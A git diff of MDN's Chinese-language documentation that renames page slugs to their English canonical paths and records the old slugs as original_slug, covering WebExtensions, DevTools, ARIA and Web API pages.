    diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html index 704f595fb4..c5c4a799d2 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -1,6 +1,6 @@ --- title: 解决常见的可访问性问题 -slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 +slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibility tags: - CSS - CodingScripting @@ -15,6 +15,7 @@ tags: - 跨浏览器 - 键盘 translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +original_slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html index fb01cd2843..98545199d4 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html @@ -1,6 +1,6 @@ --- title: 进行测试的策略 -slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 +slug: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies tags: - 测试 - 测试策略 @@ -9,6 +9,7 @@ tags: - 虚拟机 仿真器 - 跨浏览器测试 translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +original_slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/mdn/at_ten/index.html b/files/zh-cn/mdn/at_ten/index.html index fa9ddcf29d..7ea2a9b3be 100644 --- a/files/zh-cn/mdn/at_ten/index.html +++ b/files/zh-cn/mdn/at_ten/index.html @@ -1,7 +1,8 @@ --- title: Mozilla开发者网络10周年 -slug: MDN_at_ten +slug: MDN/At_ten translation_of: MDN_at_ten +original_slug: MDN_at_ten ---
    为我们web技术的文档化走过10年而庆祝!
    diff --git a/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html index 8c0513d654..5eb6dda2b6 100644 --- a/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html +++ b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html @@ -1,7 +1,8 @@ --- title: 如何添加或更新浏览器兼容性数据 -slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 +slug: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data translation_of: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data +original_slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 ---
    {{MDNSidebar}}

    如果你有浏览器在兼容Web特性方面的信息 —— 或者有意愿并有能力做一些这方面的研究和/或实验 —— 你可以帮助更新MDN的浏览器兼容性数据库BCD)。

    diff --git a/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html index 91b8a8640d..6dc3e8bf11 100644 --- a/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html +++ b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html @@ -1,6 +1,6 @@ --- title: 如何创建一个交互学习环境 -slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 +slug: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web tags: - MDN Meta - 交互 @@ -8,6 +8,7 @@ tags: - 学习 - 教程 translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web +original_slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 ---
    {{MDNSidebar}}

    动态的内容对于学习 Web 来说是重要的。 她能让学习的人更加积极主动。 这可以是练习,实例,任务,评价等等。总之,任何有助于学习理解的东西都行。

    diff --git a/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html index 1f40cc49b8..5561aa35f3 100644 --- a/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html +++ b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html @@ -1,7 +1,8 @@ --- title: MDN收录规则 -slug: MDN/Guidelines/Rules_Of_MDN_Documenting +slug: MDN/Guidelines/Does_this_belong_on_MDN translation_of: MDN/Guidelines/Does_this_belong_on_MDN +original_slug: MDN/Guidelines/Rules_Of_MDN_Documenting ---
    {{MDNSidebar}}
    {{IncludeSubnav("/zh-CN/docs/MDN")}}
    diff --git a/files/zh-cn/mdn/guidelines/writing_style_guide/index.html b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html index 285b2703cb..8ff75a97ef 100644 --- a/files/zh-cn/mdn/guidelines/writing_style_guide/index.html +++ b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html @@ -1,6 +1,6 @@ --- title: MDN Web 文档写作规范 -slug: MDN/Guidelines/Style_guide +slug: MDN/Guidelines/Writing_style_guide tags: - MDN - MDN Meta @@ -12,6 +12,7 @@ tags: - 文档 - 规范 translation_of: MDN/Guidelines/Writing_style_guide +original_slug: MDN/Guidelines/Style_guide ---
    {{MDNSidebar}}
    diff --git a/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html index 3809bb2094..7b0e7d637e 100644 --- a/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html +++ b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html @@ -1,12 +1,13 @@ --- title: 常用的宏 -slug: MDN/Structures/Macros/Custom_macros +slug: MDN/Structures/Macros/Commonly-used_macros tags: - CSS - 参考 - 宏 - 结构 translation_of: MDN/Structures/Macros/Commonly-used_macros +original_slug: MDN/Structures/Macros/Custom_macros ---
    {{MDNSidebar}}
    diff --git a/files/zh-cn/mdn/yari/index.html b/files/zh-cn/mdn/yari/index.html index d506a15fbe..96e5304ca1 100644 --- a/files/zh-cn/mdn/yari/index.html +++ b/files/zh-cn/mdn/yari/index.html @@ -1,11 +1,12 @@ --- title: 'Kuma: MDN 的 wiki 平台' -slug: MDN/Kuma +slug: MDN/Yari tags: - Kuma - wiki - 平台 translation_of: MDN/Kuma +original_slug: MDN/Kuma ---
    {{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html index 5fecb4334f..1f3657f79c 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html @@ -1,11 +1,12 @@ --- title: clipboard -slug: Mozilla/Add-ons/WebExtensions/API/剪切板 +slug: Mozilla/Add-ons/WebExtensions/API/clipboard tags: - 剪切板 - 扩展 - 附加组件 translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard +original_slug: Mozilla/Add-ons/WebExtensions/API/剪切板 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html index 3cdaf45b08..9e200ab1cd 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html @@ -1,6 +1,6 @@ --- title: clipboard.setImageData() -slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData +slug: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData tags: - API - Clipboard @@ -9,6 +9,7 @@ tags: - 拓展 - 方法 translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData +original_slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData ---
    {{AddonSidebar()}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html index d59f29ffde..32197fc3d8 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html @@ -1,7 +1,8 @@ --- title: devtools.inspectedWindow -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +slug: Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html index ffcb6ce7b7..b661631739 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html @@ -1,11 +1,12 @@ --- title: contextMenus -slug: Mozilla/Add-ons/WebExtensions/API/contextMenus +slug: Mozilla/Add-ons/WebExtensions/API/menus tags: - API - WebExtensions - contextMenus translation_of: Mozilla/Add-ons/WebExtensions/API/menus +original_slug: Mozilla/Add-ons/WebExtensions/API/contextMenus ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html index 9afe6e80a8..3d2b4ea139 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html @@ -1,7 +1,8 @@ --- title: 选项卡. 查询 () -slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 +slug: Mozilla/Add-ons/WebExtensions/API/tabs/query translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/query +original_slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 ---
    [阿登侧边栏()]
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html index 6d1a21497c..4c1098d32e 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html @@ -1,12 +1,13 @@ --- title: 构建一个跨浏览器的扩展程序 -slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 +slug: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension tags: - Web插件 - 扩展 - 指南 - 插件 translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension +original_slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 ---

    {{AddonSidebar()}}

    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html index fe8ac2e0a7..8453fa87ee 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html @@ -1,7 +1,8 @@ --- title: 实现一个设置页面 -slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 +slug: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page +original_slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html index 01749d5ff3..042975b101 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html @@ -1,7 +1,8 @@ --- title: homepage_url -slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 +slug: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url +original_slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html index 8d13bfaf2c..2f75bf37ab 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -1,7 +1,8 @@ --- title: 侧边栏 -slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 +slug: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars +original_slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html index 962e04d404..d3c1f69ea4 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -1,7 +1,8 @@ --- title: 你的第二个 WebExtension -slug: Mozilla/Add-ons/WebExtensions/Walkthrough +slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +original_slug: Mozilla/Add-ons/WebExtensions/Walkthrough ---

    {{AddonSidebar}}

    diff --git a/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html index c026e80052..fdde8484a3 100644 --- a/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Site Compatibility for Firefox 19 -slug: Site_Compatibility_for_Firefox_19 +slug: Mozilla/Firefox/Releases/19/Site_compatibility translation_of: Mozilla/Firefox/Releases/19/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_19 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 19 Beta was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html index cf566f4262..ca4ee89c81 100644 --- a/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Firefox 21网站兼容性 -slug: Site_Compatibility_for_Firefox_21 +slug: Mozilla/Firefox/Releases/21/Site_compatibility translation_of: Mozilla/Firefox/Releases/21/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_21 ---
    {{FirefoxSidebar}}

    CSS

    diff --git a/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html index 34f2ab9b60..b2bb77a090 100644 --- a/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Site Compatibility for Firefox 23 -slug: Site_Compatibility_for_Firefox_23 +slug: Mozilla/Firefox/Releases/23/Site_compatibility translation_of: Mozilla/Firefox/Releases/23/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_23 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 23 Aurora (pre-Beta) was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html index 296e580123..ea8e39cc15 100644 --- a/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Firefox 24网站兼容性 -slug: Site_Compatibility_for_Firefox_24 +slug: Mozilla/Firefox/Releases/24/Site_compatibility translation_of: Mozilla/Firefox/Releases/24/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_24 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 24 Aurora (pre-Beta) will be released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html index 96a2e8ec19..1202baaa23 100644 --- a/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html +++ b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html @@ -1,9 +1,10 @@ --- title: 为Firefox 3升级扩展 -slug: Updating_extensions_for_Firefox_3 +slug: Mozilla/Firefox/Releases/3/Updating_extensions tags: - Firefox 3 translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +original_slug: Updating_extensions_for_Firefox_3 ---
    diff --git a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html index d57e5adef5..797cccfd90 100644 --- a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html +++ b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html @@ -1,7 +1,8 @@ --- title: Status of Web Components support in Firefox -slug: Web/Web_Components/Status_in_Firefox +slug: orphaned/Web/Web_Components/Status_in_Firefox translation_of: Web/Web_Components/Status_in_Firefox +original_slug: Web/Web_Components/Status_in_Firefox ---

    {{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/tools/3d_view/index.html b/files/zh-cn/tools/3d_view/index.html index 60ea480269..160e4947da 100644 --- a/files/zh-cn/tools/3d_view/index.html +++ b/files/zh-cn/tools/3d_view/index.html @@ -1,7 +1,8 @@ --- title: 三维视图 -slug: Tools/Page_Inspector/3D_view +slug: Tools/3D_View translation_of: Tools/3D_View +original_slug: Tools/Page_Inspector/3D_view ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/deprecated_tools/index.html b/files/zh-cn/tools/deprecated_tools/index.html index f7bb80e5bf..a0a20ea69e 100644 --- a/files/zh-cn/tools/deprecated_tools/index.html +++ b/files/zh-cn/tools/deprecated_tools/index.html @@ -1,7 +1,8 @@ --- title: 不推荐的工具 -slug: Tools/不推荐的工具 +slug: Tools/Deprecated_tools translation_of: Tools/Deprecated_tools +original_slug: Tools/不推荐的工具 ---

    {{ToolsSidebar}}

    diff --git a/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html index a5a6ae1e6e..30980e94b2 100644 --- a/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html +++ b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html @@ -1,7 +1,8 @@ --- title: View fonts -slug: Tools/Page_Inspector/How_to/View_fonts +slug: Tools/Page_Inspector/How_to/Edit_fonts translation_of: Tools/Page_Inspector/How_to/Edit_fonts +original_slug: Tools/Page_Inspector/How_to/View_fonts ---
    {{ToolsSidebar}}

    font-family tooltip 字体系列提示

    diff --git a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html index 13f27d0a4a..1783fa6294 100644 --- a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html +++ b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html @@ -1,6 +1,7 @@ --- title: Debugging Firefox for Android with WebIDE -slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone +slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE +original_slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone ---
    {{ToolsSidebar}}

    This article describes how to connect the Firefox Developer Tools to Firefox for Android from Firefox 36 onwards.

    It's been possible for a long time to connect the Firefox Developer Tools to Firefox for Android so you can debug your mobile website. Until now, though, this was a fairly complex and error-prone process. From Firefox 36 we've made the process much simpler: in particular, you don't need to deal directly with the adb tool at all. Now you connect using  WebIDE, which takes care of setting up adb behind the scenes.

    diff --git a/files/zh-cn/tools/responsive_design_mode/index.html b/files/zh-cn/tools/responsive_design_mode/index.html index b0ea0712a4..eb476f19df 100644 --- a/files/zh-cn/tools/responsive_design_mode/index.html +++ b/files/zh-cn/tools/responsive_design_mode/index.html @@ -1,7 +1,8 @@ --- title: 响应式设计视图 -slug: Tools/Responsive_Design_View +slug: Tools/Responsive_Design_Mode translation_of: Tools/Responsive_Design_Mode +original_slug: Tools/Responsive_Design_View ---
    {{ToolsSidebar}}

    响应式设计采用不同的屏幕尺寸来呈现在各种设备(例如移动电话或者平板电脑)下的可视情况。响应式设计视图使您可以很容易地看到您的网站或者网站app在不同屏幕尺寸下的外观。

    diff --git a/files/zh-cn/tools/storage_inspector/index.html b/files/zh-cn/tools/storage_inspector/index.html index 198d5d5b92..a10fa13f8d 100644 --- a/files/zh-cn/tools/storage_inspector/index.html +++ b/files/zh-cn/tools/storage_inspector/index.html @@ -1,7 +1,8 @@ --- title: 存储查看器 -slug: Tools/存储查看器 +slug: Tools/Storage_Inspector translation_of: Tools/Storage_Inspector +original_slug: Tools/存储查看器 ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/tips/index.html b/files/zh-cn/tools/tips/index.html index c7a2cfc304..2f22e393ba 100644 --- a/files/zh-cn/tools/tips/index.html +++ b/files/zh-cn/tools/tips/index.html @@ -1,10 +1,11 @@ --- title: 小技巧 -slug: Tools/小技巧 +slug: Tools/Tips tags: - 开发工具 - 网络开发 translation_of: Tools/Tips +original_slug: Tools/小技巧 ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/web_audio_editor/index.html b/files/zh-cn/tools/web_audio_editor/index.html index cc5c8bd4f7..a80b7f0908 100644 --- a/files/zh-cn/tools/web_audio_editor/index.html +++ b/files/zh-cn/tools/web_audio_editor/index.html @@ -1,9 +1,10 @@ --- title: Web 音频编辑器 -slug: Tools/Web音频编辑器 +slug: Tools/Web_Audio_Editor tags: - 工具 translation_of: Tools/Web_Audio_Editor +original_slug: Tools/Web音频编辑器 ---
    {{ToolsSidebar}}

    Web 音频编辑器在 Firefox 32 推出。

    diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html index 8b7f706afa..609558f2e4 100644 --- a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html +++ b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html @@ -1,6 +1,6 @@ --- title: 使用aria-hidden属性 -slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute tags: - HTML - Rôle @@ -10,6 +10,7 @@ tags: - 客户端 - 警告 translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +original_slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 ---

    {{draft}}

    diff --git a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html index e0e35c449a..6bfea20c6d 100644 --- a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html +++ b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html @@ -1,11 +1,12 @@ --- title: Using the button role -slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role +slug: Web/Accessibility/ARIA/Roles/button_role tags: - ARIA - 可访问性 - 无障碍 translation_of: Web/Accessibility/ARIA/Roles/button_role +original_slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role ---

    button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

    diff --git a/files/zh-cn/web/api/abortcontroller/abort/index.html b/files/zh-cn/web/api/abortcontroller/abort/index.html index d661e73d2b..a37eda8176 100644 --- a/files/zh-cn/web/api/abortcontroller/abort/index.html +++ b/files/zh-cn/web/api/abortcontroller/abort/index.html @@ -1,7 +1,8 @@ --- title: AbortController.abort() -slug: Web/API/FetchController/abort +slug: Web/API/AbortController/abort translation_of: Web/API/AbortController/abort +original_slug: Web/API/FetchController/abort ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html index 35fe67d1ae..036806e29a 100644 --- a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html +++ b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html @@ -1,11 +1,12 @@ --- title: AbortController.AbortController() -slug: Web/API/FetchController/AbortController +slug: Web/API/AbortController/AbortController tags: - AbortController - Constructor - Fetch translation_of: Web/API/AbortController/AbortController +original_slug: Web/API/FetchController/AbortController ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/index.html index 4211eb8211..c29b4a0a7d 100644 --- a/files/zh-cn/web/api/abortcontroller/index.html +++ b/files/zh-cn/web/api/abortcontroller/index.html @@ -1,12 +1,13 @@ --- title: AbortController -slug: Web/API/FetchController +slug: Web/API/AbortController tags: - API - AbortController - Fetch - how to cancel a fetch request translation_of: Web/API/AbortController +original_slug: Web/API/FetchController ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/ambient_light_events/index.html b/files/zh-cn/web/api/ambient_light_events/index.html index f90edf8ca2..62bc1d8d4f 100644 --- a/files/zh-cn/web/api/ambient_light_events/index.html +++ b/files/zh-cn/web/api/ambient_light_events/index.html @@ -1,11 +1,12 @@ --- title: Using Light Events -slug: Web/API/DeviceLightEvent/Using_light_events +slug: Web/API/Ambient_Light_Events tags: - WebAPI - 事件 - 环境光 translation_of: Web/API/Ambient_Light_Events +original_slug: Web/API/DeviceLightEvent/Using_light_events ---
    {{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html index b2b592a422..c17c74869c 100644 --- a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html +++ b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html @@ -1,8 +1,9 @@ --- title: reading -slug: Web/API/AmbientLightSensor/reading +slug: Web/API/AmbientLightSensor/illuminance translation_of: Web/API/AmbientLightSensor/illuminance translation_of_original: Web/API/AmbientLightSensor/reading +original_slug: Web/API/AmbientLightSensor/reading ---

    {{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html index 2d00a8a100..b302a0ab96 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createAnalyser() -slug: Web/API/AudioContext/createAnalyser +slug: Web/API/BaseAudioContext/createAnalyser translation_of: Web/API/BaseAudioContext/createAnalyser +original_slug: Web/API/AudioContext/createAnalyser ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html index fa5884ad71..7f8210c2f4 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html @@ -1,6 +1,6 @@ --- title: AudioContext.createBiquadFilter() -slug: Web/API/AudioContext/createBiquadFilter +slug: Web/API/BaseAudioContext/createBiquadFilter tags: - API - EQ @@ -9,6 +9,7 @@ tags: - 方法 - 滤波器 translation_of: Web/API/BaseAudioContext/createBiquadFilter +original_slug: Web/API/AudioContext/createBiquadFilter ---

    {{ APIRef("Web Audio API") }}

